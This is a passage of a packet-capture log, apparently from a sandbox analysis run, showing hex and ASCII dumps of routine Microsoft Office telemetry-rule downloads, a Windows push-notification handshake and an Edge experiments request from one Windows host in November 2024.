2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49837	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 37 61 39 4d 36 49 32 5a 30 2b 48 32 75 41 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 30 65 34 66 39 39 37 38 36 31 61 63 33 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: C7a9M6I2Z0+H2uAM.1Context: c80e4f997861ac36
2024-11-17 09:07:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 09:07:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 37 61 39 4d 36 49 32 5a 30 2b 48 32 75 41 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 30 65 34 66 39 39 37 38 36 31 61 63 33 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: C7a9M6I2Z0+H2uAM.2Context: c80e4f997861ac36<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-17 09:07:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 37 61 39 4d 36 49 32 5a 30 2b 48 32 75 41 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 30 65 34 66 39 39 37 38 36 31 61 63 33 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: C7a9M6I2Z0+H2uAM.3Context: c80e4f997861ac36<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 09:07:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 09:07:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6f 46 49 6e 6b 45 64 46 31 45 79 69 6f 6c 4f 58 79 4e 76 46 56 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: oFInkEdF1EyiolOXyNvFVw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:31 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090732Z-16547b76f7fm8pcwhC1DFWaxcc000000024g00000000913u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090732Z-16547b76f7fpdsp9hC1DFW8f5000000001k000000000fapt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d8d0956f-c01e-008e-627d-377381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090732Z-164f84587bf6n6jwhC1DFW90fn000000035g00000000fze2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090732Z-1866b5c5fbbldb6rhC1DFW4bew00000004ag000000005902 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:32 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090733Z-16547b76f7fp6s5dhC1DFWe28g000000019000000000a227 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49847	94.245.104.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 09:07:34 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 09:07:34 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=669e5d63f834ba1a072bdb5fc0556584be42d71c1d6957cb98615f4df78b3341;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=669e5d63f834ba1a072bdb5fc0556584be42d71c1d6957cb98615f4df78b3341;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090733Z-16547b76f7fp6s5dhC1DFWe28g000000019000000000a22w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:33 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090733Z-16547b76f7fgfpmjhC1DFWw6ec00000003mg0000000020x0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:34 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:34 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090734Z-164f84587bfbvgrghC1DFWbs7w0000000440000000001m7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:34 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 7df85bc9-601e-000d-7a26-372618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090734Z-164f84587bflm48hhC1DFW0nf800000000t00000000075we x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
